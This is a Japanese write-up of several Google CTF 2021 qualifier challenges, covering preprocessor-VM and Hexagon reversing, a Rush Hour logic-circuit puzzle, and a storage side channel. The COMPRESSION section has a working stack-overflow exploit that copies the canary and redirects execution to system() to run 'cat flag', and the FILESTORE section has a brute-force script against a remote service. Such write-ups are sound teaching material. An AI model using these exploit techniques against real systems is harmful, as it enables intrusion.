Google CTF 2021 write-up

https://capturetheflag.withgoogle.com/team/

https://github.com/google/google-ctf/tree/master/2021/quals

5問、679点、64位。

どの問題も難しくて、最初は「え、こんなの解けるの？」という感じだけど、理解が進むと「読める、読めるぞ」となる。これがCTFの醍醐味か。

![team.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/7cb3c855-3ad5-8994-8a74-40c9d79930de.png)

ジャンル分けするほど解けていないので、解いた順。

### CPP (reversing)

https://github.com/google/google-ctf/blob/master/2021/quals/rev-cpp/attachments/cpp.c

CPPなのに.c。CPPはC++ではなくC PreProcessorだった。

6,000行以上のプリプロセッサで、VMを実装している。

とりあえず入れ子をインデントするように整形。

```format.py
import sys

level = ""
for l in sys.stdin:
  l = l[:-1]
  if l.startswith("#if"):
    print(level+l)
    level += "  "
  elif l.startswith("#endif"):
    level = level[:-2]
    print(level+l)
  elif l.startswith("#else"):
    print(level[:-2]+l)
  else:
    print(level+l)
```

大まかな構造はこんな感じ。

```cpp.c
#if __INCLUDE_LEVEL__ == 0
  // 初期化
  #define S 0
#endif
#if __INCLUDE_LEVEL__ > 12
  #if S == 0
    #undef S
    #define S 1
 :
  #endif
  #if S == 1
    #undef S
    #define S 2
 :
  #endif
  #if S == 2
    #undef S
    #define S 3
 :
#else
  #if S != -1
    #include "cpp.c"
  #endif
  #if S != -1
    #include "cpp.c"
  #endif
#endif
#if __INCLUDE_LEVEL__ == 0
  #if S != -1
    #error "Failed to execute program"
  #endif
  #include <stdio.h>
  int main() {
  printf("Key valid. Enjoy your program!\n");
  printf("2+2 = %d\n", 2+2);
  }
#endif
```

`#include`の深さ（`__INCLUDE_LEVEL__ `）が12以下ならば自分自身を2回ずつ読み込むことで、数千回自分自身を繰り返し読み込む。`S`をプログラムカウンタにして進めていく。

変数は、次のように1ビットずつマクロに割り当てる。

```cpp.c
 :
  #define ROM_00000000_0 1
  #define ROM_00000000_1 1
  #define ROM_00000000_2 0
  #define ROM_00000000_3 1
  #define ROM_00000000_4 1
  #define ROM_00000000_5 1
  #define ROM_00000000_6 0
  #define ROM_00000000_7 1
  #define ROM_00000001_0 1
  #define ROM_00000001_1 0
 :
```

解読するとこんな処理。

```c
  byte FLAG[0x1b] = "CTF{write_flag_here_please}";
  byte ROM[0x100] = {
    0xbb, 0x55, 0xab, 0xc5, 0xb9, 0x9d, 0xc9, 0x69, 0xbb, 0x37, 0xd9, 0xcd, 0x21, 0xb3, 0xcf, 0xcf,
    0x9f, 0x09, 0xb5, 0x3d, 0xeb, 0x7f, 0x57, 0xa1, 0xeb, 0x87, 0x67, 0x23, 0x17, 0x25, 0xd1, 0x1b,
    0x08, 0x64, 0x64, 0x35, 0x91, 0x64, 0xe7, 0xa0, 0x06, 0xaa, 0xdd, 0x75, 0x17, 0x9d, 0x6d, 0x5c,
    0x5e, 0x19, 0xfd, 0xe9, 0x0c, 0xf9, 0xb4, 0x83, 0x86, 0x22, 0x42, 0x1e, 0x57, 0xa1, 0x28, 0x62,
    0xfa, 0x7b, 0x1b, 0xba, 0x1e, 0xb4, 0xb3, 0x58, 0xc6, 0xf3, 0x8c, 0x90, 0x3b, 0xba, 0x19, 0x6e,
    0xce, 0xdf, 0xf1, 0x25, 0x8d, 0x40, 0x80, 0x70, 0xe0, 0x4d, 0x1c,
  };
  for (int i=0; i<0x1b; i++)
    ROM[0x80+i] = FLAG[i];

  goto step24;
step1:
  R = ~R;
  Z = 1;
  R += Z
  R += Z
  if (R==0)
    goto step38;
  R += Z
  if (R==0)
    goto step59;
  R += Z
  if (R==0)
    goto step59;
  error("BUG");
  goto end;
step12:
  X = 1;
  Y = 0;
step14:
  if (X==0)
    goto step22;
  Z = X
  Z &= B
  if (Z==0)
    goto step19;
  Y += A;
step19:
  X += X;
  A += A;
  goto step14;
step22:
  A = Y;
  goto step1;
step24:
  I = 0;
  M = 0;
  N = 1;
  P = 0;
  Q = 0;
step29:
  B = 0b11100101;
  B += I;
  if (B==0)
    goto step56;
  B = 0b10000000;
  B += I
  A = ROM[B];
  B = ROM[I];
  R = 1;
  goto step12;
step38:
  O = M;
  O += N;
  M = N;
  N = O;
  A += M;
  B = 0b00100000;
  B += I;
  C = ROM[B];
  A ^= C;
  P += A;
  B = 0b01000000;
  B += I;
  A = ROM[B];
  A ^= P;
  Q |= A;
  A = 1;
  I += A;
  goto step29;
step56:
  if (Q==0)
    goto step58;
  error("INVALID_FLAG");
step58:
  goto end
step59:
  error("Failed to execute program");
end:
```

整理するとこう。

```c
byte FLAG[0x1b] = "CTF{write_flag_here_please}";
byte ROM[0x100] = {
  0xbb, 0x55, 0xab, 0xc5, 0xb9, 0x9d, 0xc9, 0x69, 0xbb, 0x37, 0xd9, 0xcd, 0x21, 0xb3, 0xcf, 0xcf,
  0x9f, 0x09, 0xb5, 0x3d, 0xeb, 0x7f, 0x57, 0xa1, 0xeb, 0x87, 0x67, 0x23, 0x17, 0x25, 0xd1, 0x1b,
  0x08, 0x64, 0x64, 0x35, 0x91, 0x64, 0xe7, 0xa0, 0x06, 0xaa, 0xdd, 0x75, 0x17, 0x9d, 0x6d, 0x5c,
  0x5e, 0x19, 0xfd, 0xe9, 0x0c, 0xf9, 0xb4, 0x83, 0x86, 0x22, 0x42, 0x1e, 0x57, 0xa1, 0x28, 0x62,
  0xfa, 0x7b, 0x1b, 0xba, 0x1e, 0xb4, 0xb3, 0x58, 0xc6, 0xf3, 0x8c, 0x90, 0x3b, 0xba, 0x19, 0x6e,
  0xce, 0xdf, 0xf1, 0x25, 0x8d, 0x40, 0x80, 0x70, 0xe0, 0x4d, 0x1c,
};
for (int i=0; i<0x1b; i++)
  ROM[0x80+i] = FLAG[i];

M = 0;
N = 1;
P = 0;
Q = 0;
for (int I=0; I<27; I++)
{
  O = M+N;
  M = N;
  N = O;
  P += (ROM[0x80+I]*ROM[I]+M)^ROM[0x20+I];
  Q |= ROM[0x40+I]^P;
}
if (Q!=0)
  error("INVALID_FLAG");
```

1文字ずつ探索できる。

```solve.py
ROM = [
  0xbb, 0x55, 0xab, 0xc5, 0xb9, 0x9d, 0xc9, 0x69, 0xbb, 0x37, 0xd9, 0xcd, 0x21, 0xb3, 0xcf, 0xcf,
  0x9f, 0x09, 0xb5, 0x3d, 0xeb, 0x7f, 0x57, 0xa1, 0xeb, 0x87, 0x67, 0x23, 0x17, 0x25, 0xd1, 0x1b,
  0x08, 0x64, 0x64, 0x35, 0x91, 0x64, 0xe7, 0xa0, 0x06, 0xaa, 0xdd, 0x75, 0x17, 0x9d, 0x6d, 0x5c,
  0x5e, 0x19, 0xfd, 0xe9, 0x0c, 0xf9, 0xb4, 0x83, 0x86, 0x22, 0x42, 0x1e, 0x57, 0xa1, 0x28, 0x62,
  0xfa, 0x7b, 0x1b, 0xba, 0x1e, 0xb4, 0xb3, 0x58, 0xc6, 0xf3, 0x8c, 0x90, 0x3b, 0xba, 0x19, 0x6e,
  0xce, 0xdf, 0xf1, 0x25, 0x8d, 0x40, 0x80, 0x70, 0xe0, 0x4d, 0x1c,
]

flag = ""
M = 0
N = 1
P = 0
for i in range(27):
  O = M+N
  M = N
  N = O
  for c in range(128):
    if (ROM[0x40+i]^(P+((c*ROM[i]+M)^ROM[0x20+i])))&0xff==0:
      flag += chr(c)
      P += (c*ROM[i]+M)^ROM[0x20+i]
      break
print(flag)
```

```
>py solve.py
CTF{pr3pr0cess0r_pr0fe5sor}
```
`CTF{pr3pr0cess0r_pr0fe5sor}`

### COMPRESSION (pwn)

https://github.com/google/google-ctf/tree/master/2021/quals/pwn-compression

```shell-session
$ nc compression.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
What can I do for you?
1. Compress string
2. Decompress string
3. Read compression format documentation

1
Send me the hex-encoded string (max 4k):
0102030401020304010203040102030401020304010203040102030401020304
These 32 bytes compress to 14 bytes (43.75%):
54494e5901020304ff041cff0000

$ nc compression.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
What can I do for you?
1. Compress string
2. Decompress string
3. Read compression format documentation

2
Send me the hex-encoded string (max 4k):
54494e5901020304ff041cff0000
That decompresses to:
0102030401020304010203040102030401020304010203040102030401020304

$ nc compression.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
What can I do for you?
1. Compress string
2. Decompress string
3. Read compression format documentation

$ nc compression.2021.ctfcompetition.com 1337
3
Format documentation is password protected.
Input password:
hogehoge
ERROR: wrong password
```

こんな感じ。亜種が色々とあってどれなのかは分からないが、Lempel-Ziv。先頭の`54494e59`=`TINY`はヘッダ。`ff`以外ならそのまま出力。`ff`ならば、可変長で符号化された一致位置と一致長が続く。一致位置も一致長も`00`ならば終了。

一致した文字列を出力している間の境界チェックが無いのでスタックバッファオーバーフローができる。一致位置もチェックが無いので、スタック上の値はどこでもコピーできる。

スタックバッファーオーバーフローするだけかと思いきや、Stack Canaryが有効。これは、（後方にある）カナリアを一旦コピーして、バッファオーバーフローのペイロードと一緒に書き込めば良い。

もう1個厄介なのが、1回の実行ではコマンドを1個しか実行できないこと。何かのアドレスをリークして、そのアドレスを使った値をオーバーフローで書き込むことができない。ドキュメントの出力は、

```c
char cmd[] = "cat FORMAT.md";
 :
if (strcmp(input, password))
  error("wrong password");
system(cmd);
```

みたいな処理で`system`関数がある。スタック上にあるだろう実行ファイルのアドレスを切り貼りしてして、この辺のアドレスを作れば良いだろう。

```solve.py
def pack(n):
  n %= 2**64
  b = b""
  while n>0:
    t = n&0x7f
    n >>= 7
    if n>0:
      t |= 0x80
    b += bytes([t])
  return b

"""
rsp+0x0010: "cat FORMAT.md"
rsp+0x0210: password
rsp+0x0310: src
rsp+0x2310: dst
rsp+0x3318: canary
 :
rsp+0x3330: _start
 :
rsp+0x3348: ret
"""

payload = "TINY".encode()
payload += bytes([0xff])+pack(-(0x3318-0x2310))+pack(8) # canary
payload += bytes([0])+bytes([0xff])+pack(1)+pack(0x27)
payload += bytes([0x39, 0x53]) # system(rsp+0x10)
payload += bytes([0xff])+pack(0x32-(0x3332-0x2310))+pack(0x6) # _start[2:]
#payload += ("\0"*0x10+"/bin/sh\0").encode()
#payload += ("\0"*0x10+"ls -al\0").encode()
payload += ("\0"*0x10+"cat flag\0").encode()
payload += bytes([0xff])+pack(0x1008)+pack(0x1008)
payload += bytes([0xff, 0, 0])
print(2)
print(payload.hex())
```

ドキュメント表示ところの逆アセンブル結果はこうなっているので、スタックに文字列を積んでおけばそのまま`system`関数の引数になる。

```
 :
    1339:	48 8d 6c 24 10       	lea    rbp,[rsp+0x10]
    133e:	48 89 ef             	mov    rdi,rbp
    1341:	e8 ea fd ff ff       	call   1130 <system@plt>
 :
```

上位48bitコピーしていて、ASLRで固定なのは下位12bitなので、4bit分はガチャ。`"/bin/sh"`だと入力は受け付けるようになるけど、出力が返ってこなかった。なぜだろう。

```
$ python3 solve.py | nc compression.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
What can I do for you?
1. Compress string
2. Decompress string
3. Read compression format documentation

Send me the hex-encoded string (max 4k):
That decompresses to:
001700fd315ab20b00000000000000000000000000000000000000000
 :
f5500000000000000000000000000000000000063617420666c616700
CTF{lz77_0r1ent3d_pr0gr4mming}
```

`CTF{lz77_0r1ent3d_pr0gr4mming}`

### FILESTORE (misc)

https://github.com/google/google-ctf/tree/master/2021/quals/misc-filestore

これは簡単。点数も50点まで落ちていた。

ストレージの実装。現実のストレージではデータが常にディスク上の連続した領域に書き込まれるわけではなく、バラバラに書き込まれることもあって、（場所、長さ）のリストが保持されている。この問題のストレージでは、書き込もうとするデータとなるべく先頭が一致するデータをストレージ上から探し、その場所と長さ記録することを繰り返していく。全く一致するものが無ければ、先頭16バイトを新たに書き込む。

問題では、まずフラグが書き込まれ、それからストレージにデータを書き込むことができる。1文字ずつ総当たりできる。

```attack.py
from pwn import *

s = remote("filestore.2021.ctfcompetition.com", 1337)
#s = process("python3 filestore.py", shell=True)

def store(data):
  s.sendlineafter("- exit", "store")
  s.sendlineafter("Send me a line of data...", data)

def status():
  s.sendlineafter("- exit", "status")
  s.recvuntil("Quota: ")
  return float(s.recvuntil("kB")[:-2])

#flag = "CTF{"
flag = "CTF{CR1M3_0f_d3d0f_"
prev = status()
while len(flag)<27:
  for c in range(0x21, 0x7f):
    c = chr(c)
    store(flag+c)
    size = status()
    #print(c, size, prev)
    if size==prev:
      flag += c
      break
    prev = size
  else:
    print("error")
    break
  print(flag)
```

```shell-session
$ python3 attack.py
[+] Opening connection to filestore.2021.ctfcompetition.com on port 1337: Done
CTF{C
CTF{CR
CTF{CR1
CTF{CR1M
CTF{CR1M3
CTF{CR1M3_
CTF{CR1M3_0
CTF{CR1M3_0f
CTF{CR1M3_0f_
CTF{CR1M3_0f_d
CTF{CR1M3_0f_d3
CTF{CR1M3_0f_d3d
CTF{CR1M3_0f_d3d!
```

書き込もうとするデータの先頭16バイトで検索している（16バイト一致した場所があれば、一致長自体はもっと伸ばすけれど）ため、16バイトでバグるから、残りは同様に後方から。

```
$ python3 attack2.py
[+] Opening connection to filestore.2021.ctfcompetition.com on port 1337: Done
n}
0n}
i0n}
ti0n}
4ti0n}
c4ti0n}
ic4ti0n}
1ic4ti0n}
p1ic4ti0n}

$ python3 attack2.py
[+] Opening connection to filestore.2021.ctfcompetition.com on port 1337: Done
up1ic4ti0n}
dup1ic4ti0n}
3dup1ic4ti0n}
d3dup1ic4ti0n}
_d3dup1ic4ti0n}
f_d3dup1ic4ti0n}
0f_d3dup1ic4ti0n}
_0f_d3dup1ic4ti0n}
3_0f_d3dup1ic4ti0n}
M3_0f_d3dup1ic4ti0n}
1M3_0f_d3dup1ic4ti0n}
```

後方から探索するだけでも良かったのかもしれない。

`CTF{CR1M3_0f_d3dup1ic4ti0n}`

### PARKING (hardware)

https://github.com/google/google-ctf/tree/master/2021/quals/hw-parking

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/76ac6e28-8705-db2b-0487-d99f2db04bb9.png)

[ラッシュアワー](https://ja.wikipedia.org/wiki/%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%82%A2%E3%83%AF%E3%83%BC_(%E3%83%91%E3%82%BA%E3%83%AB))というパズル。長方形の車は長辺方向にだけ動かせる。赤の車を動かせれば勝ち。上のlevel1では緑の車が1台だけだが、本チャンのlevel2ではこれが複数台あって、元の位置から動いているかどうかをフラグに変換するっぽい。

ジャンルhardware？　PPCじゃないのか？　競プロならば他のCTF参加者より得意だと思うけど、そもそもこのゲームはNP困難じゃないのか？　ググルとPSPACE困難とか出てくる。PSPACE困難のほうがより難しい（と思われている）。たぶん、正解の手数が盤面サイズに対して指数的になるような問題が作れるということかな。さて……。

level2。細かすぎて見えない……。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d0d3dc01-e182-2d13-408e-94b07463fe72.png)

一部を拡大すると、こう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/cf251635-d5c4-f41b-0116-c229e89efd96.png)

黄緑矢印の先に緑の車がある。ほとんど同じ構造を縦に繰り返しているけれど、ピンクで囲った部分だけは2本の道路の先端のうちのどちらに空きがあるかが異なる。右端の道路を下に降りていった先に赤い車がある。

車が移動可能な道路を1とすると、この構造はANDである。左側の上下両方の道路に車を押し込めることが可能な場合のみ、右側の道路の車を移動できる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3ecdccef-cdd8-cfbb-e98a-86587e351314.png)

これがOR。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6f042687-affd-0057-f480-c817da53a014.png)

これは単なる立体交差。互いに干渉しない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/23a5ede0-51c3-cda2-9767-e7779c363c6c.png)

これは分岐。左下に車を移動させることが可能ならば、上と右と両方の車が移動可能になる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/0f69474a-7649-6c15-e29c-21f6aeb6bbd4.png)

この仕組みで回路を作っているわけか。これはたしかにジャンルhardware。

ただし、1本の道路ではNOTが作れない。移動が可能でも移動しないことはできるので。そこで、2本の道路をペアにし、0-1か1-0かで0と1を表わしている。これならばNOTも作れる（NOTは単にペアを反転させるだけ）。

道路をペアにして見ると、これがXOR。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/86d3d560-c738-f705-9e2d-493682db4153.png)

これは、EQとORを出力。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/5339c16e-c124-c642-3a42-905d2ea1db41.png)

AND。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3b32639e-1780-01f1-ed97-7dab8cc1dd0b.png)

あとはZ3に投げる。普通に逆算できそうな気もするけど、回路の読み取りが間違えまくっていて、直す度に逆算するのが面倒になった。

```solve.py
import sys

W, H = map(int, input().split())
B = [[" "]*W for _ in range(H)]
for l in sys.stdin:
  x, y, w, h, movable = map(int, l.split())
  if movable==0:
    for xx in range(x, x+w):
      for yy in range(y, y+h):
        B[yy][xx] = "#"

"""
動かせる -> True
動かせない -> False

上/右 True、 下/左 True  -> True
上/右 False、下/左 False -> False
"""

c0 = []
for i in range(64):
  c0 += [int(B[201+108*i][5]==" ")]
c1 = []
for i in range(64):
  c1 += [int(B[321+108*i][377]==" ")]
c2 = []
for i in range(64):
  c2 += [int(B[201+108*i][575]==" ")]

from z3 import *

s = Solver()
f = BoolVector("f", 64)

x0 = BoolVector("x0", 64)
for i in range(64):
  s.add(x0[i]==(f[i]==(c0[i]!=0)))

x1eq = BoolVector("x1eq", 64)
x1or = BoolVector("x1or", 64)
s.add(x1eq[0]==(True==x0[0]))
s.add(x1or[0]==Or(True, x0[0]))
for i in range(1, 64):
  s.add(x1eq[i]==(x0[i-1]==x0[i]))
  s.add(x1or[i]==Or(x0[i-1], x0[i]))

x2eq = BoolVector("x2eq", 64)
x2or = BoolVector("x2or", 64)
s.add(x2eq[0]==(x1eq[0]==True))
s.add(x2or[0]==Or(x1eq[0]==True))
for i in range(1, 64):
  t = And(x1or[i-1], x2or[i-1])
  s.add(x2eq[i]==(x1eq[i]==t))
  s.add(x2or[i]==Or(x1eq[i], t))

x3 = BoolVector("x3", 64)
for i in range(63):
  s.add(x3[i]==(x2eq[i]==x2eq[i+1]))
s.add(x3[63]==(x2eq[63]==True))

x4eq = BoolVector("x4eq", 64)
x4or = BoolVector("x4or", 64)
for i in range(63):
  s.add(x4eq[i]==(x3[i+1]==(c1[i]!=0)))
  s.add(x4or[i]==Or(x3[i+1], c1[i]!=0))
s.add(x4eq[63]==(x3[0]==(c1[63]!=0)))
s.add(x4or[63]==Or(x3[0], c1[63]!=0))

x5eq = BoolVector("x5eq", 64)
x5or = BoolVector("x5or", 64)
s.add(x5eq[0]==(x4eq[0]==True))
s.add(x5or[0]==Or(x4eq[0], True))
for i in range(1, 64):
  t = And(x4or[i-1], x5or[i-1])
  s.add(x5eq[i]==(x4eq[i]==t))
  s.add(x5or[i]==Or(x4eq[i], t))

x6 = BoolVector("x6", 64)
for i in range(64):
  s.add(x6[i]==((c2[i]!=0)==x5eq[i]))

s.add(And(x6))

r = s.check()
assert r==sat

m = s.model()
flag = ""
for i in range(64):
  if is_true(m[f[i]]):
    flag += "0"
  else:
    flag += "1"
print(flag)
flag = "".join(chr(int(flag[i:i+8][::-1], 2)) for i in range(0, 64, 8))
print(flag)
```

```
>py solve.py < level2
0100110000101010000101101010011001000010010011101000110010110110
2TheBr1m
```

`CTF{2TheBr1m}`

### HEXAGON (reversing)

https://github.com/google/google-ctf/tree/master/2021/quals/rev-hexagon

[Qualcomm Hexagon](https://en.wikipedia.org/wiki/Qualcomm_Hexagon)。[仕様書](https://developer.qualcomm.com/qfile/67415/80-n2040-42_a_qualcomm_hexagon_v66_programmer_reference_manual.pdf)

Instructionをパックすることができるという大きな特徴がある。

```
{r0 = r1}
{r1 = r0}
```

パックせずにこう書くと、`r0`も`r1`も元の`r1`の値になる。一方、パックして、

```
{r0 = r1
 r1 = r0}
```

こうすると、全てのソースを読んだ後に処理が行われるので、`r0`と`r1`のスワップとなる。Pythonで、

```py
r0, r1 = r1, r0
```

と書くようなものか。

まずは逆アセンブルしないと始まらないが、Ghidraは未対応。[IDA Pro用のプラグイン](https://github.com/gsmk/hexagon)が定番っぽいけれど、ご家庭にIDA Proは無い。[Radare2](https://github.com/radareorg/radare2)が対応していた。でも、上記のinstruction packに対応していなかったり、ループの終端に対応していなかったり。[hexag00n](https://github.com/programa-stic/hexag00n)を併用した。

まず、フラグが通ったときの文章やフラグのチェック用の値が暗号化されているのを解除する必要がある。

```c
int seed = 0x1337;
for (int i=0; i<0x50; i++)
  target[i] ^= seed++;
```

こんな処理に見えるけど、なぜかダメ。暗号化されたデータは、こんな感じで暗号化しているように見えるが…… :thinking:　ということで、`seed`を256通り試して0x28で復号できた。チェック用の値だけではなく、正しく復号されたかどうかが分かる文章も一緒に暗号化しているのは出題者の優しさか……とコンテスト中は思っていた。

コンテスト終了後に公開されたソースコードを見たら、リターンアドレスが書き換えられ、`seed = 0x1337`の処理が飛ばされていた。お、お前……。「やっぱり逆アセンブラが不完全なのかな？」と疑心暗鬼になり、後述の処理で、「`hex1`と`hex2`に定数ではなくフラグの値が渡っているように見えるけど、これは逆アセンブラのバグだよね」と思ってしまい、時間が溶けた。

https://github.com/google/google-ctf/blob/master/2021/quals/rev-hexagon/src/main.s#L60-L69

こういう処理をしている。実際は、`hex?`は引数に定数を取って、その定数のあるビットが立っているかどうかで処理が2種類あるが、値が固定なので省略。

```challenge.py
from struct import pack, unpack

m = 0xffffffff
def hex1(x): return ~(x+0xa5d2f34) & m
def hex2(x): return ((~x)^0x48268673) & m
def hex3(x): return ((x^0x5a921187)+0xe9bb17bc) & m
def hex4(x): return ((~x)^0xd71037d1) & m
def hex5(x): return ((~x)+0x101fbccc) & m
def hex6(x): return (x^0x8b0163c1^0xeece328b) & m

R2, R3 = unpack("<II", flag)

R2 = hex1(R2)^0x6f67202a
R3 = hex2(R3)^0x656c676f
R2, R3 = R3, R2^R3^hex3(0x6e696220)
R2, R3 = R3, R2^R3^hex4(0x682d616a)
R2, R3 = R3, R2^R3^hex5(0x67617865)
R2, R3 = R3, R2^R3^hex6(0x2a206e6f)

assert pack("<II", R2, R3).hex()=="97bf806d3d0e459d"
```

逆算すればOK。

```solve.py
from struct import pack, unpack

m = 0xffffffff
def hex1(x): return ~(x+0xa5d2f34) & m
def hex2(x): return ((~x)^0x48268673) & m
def hex3(x): return ((x^0x5a921187)+0xe9bb17bc) & m
def hex4(x): return ((~x)^0xd71037d1) & m
def hex5(x): return ((~x)+0x101fbccc) & m
def hex6(x): return (x^0x8b0163c1^0xeece328b) & m

def hex1r(x): return ((~x&m)-0xa5d2f34) & m
def hex2r(x): return ~(x^0x48268673) & m

R2, R3 = unpack("<II", bytes.fromhex("97bf806d3d0e459d"))

R3, R2 = R2, R2^R3^hex6(0x2a206e6f)
R3, R2 = R2, R2^R3^hex5(0x67617865)
R3, R2 = R2, R2^R3^hex4(0x682d616a)
R3, R2 = R2, R2^R3^hex3(0x6e696220)
R3 = hex2r(R3^0x656c676f)
R2 = hex1r(R2^0x6f67202a)

print(pack("<II", R2, R3).decode())
```

```
>py solve.py
IDigVLIW
```

`CTF{IDigVLIW}`

### WEATHER (reversing)

https://github.com/google/google-ctf/tree/master/2021/quals/rev-weather

解けなかったけど、`register_printf_function`を知らなかったのでメモ。`printf`の書式指定文字をカスタマイズすることができるらしい。

```printf.c
#include <stdio.h>
#include <printf.h>

struct frac
{
    int num;
    int den;
};

int handler(FILE *stream, const struct printf_info *info, const void *const *args)
{
    struct frac *f = *(struct frac **)args[0];
    return fprintf(stream, "%d/%d", f->num, f->den);
}

int arginfo(const struct printf_info *info, size_t n, int *argtypes)
{
    argtypes[0] = PA_POINTER;
    return 1;
}

int main()
{
    struct frac f = {2, 3};
    register_printf_function('F', handler, arginfo);
    printf("%F\n", &f);
}
```

```shell-session
$ gcc printf.c -o printf
printf.c: In function ‘main’:
printf.c:25:5: warning: ‘register_printf_function’ is deprecated [-Wdeprecated-declarations]
 :
$ ./printf
2/3
```

問題ではこの仕組みを使って、書式指定文字列でVMを実装していた。コード量がヤバい。手を出さなくて良かった。

https://github.com/google/google-ctf/blob/master/2021/quals/rev-weather/challenge/asm.s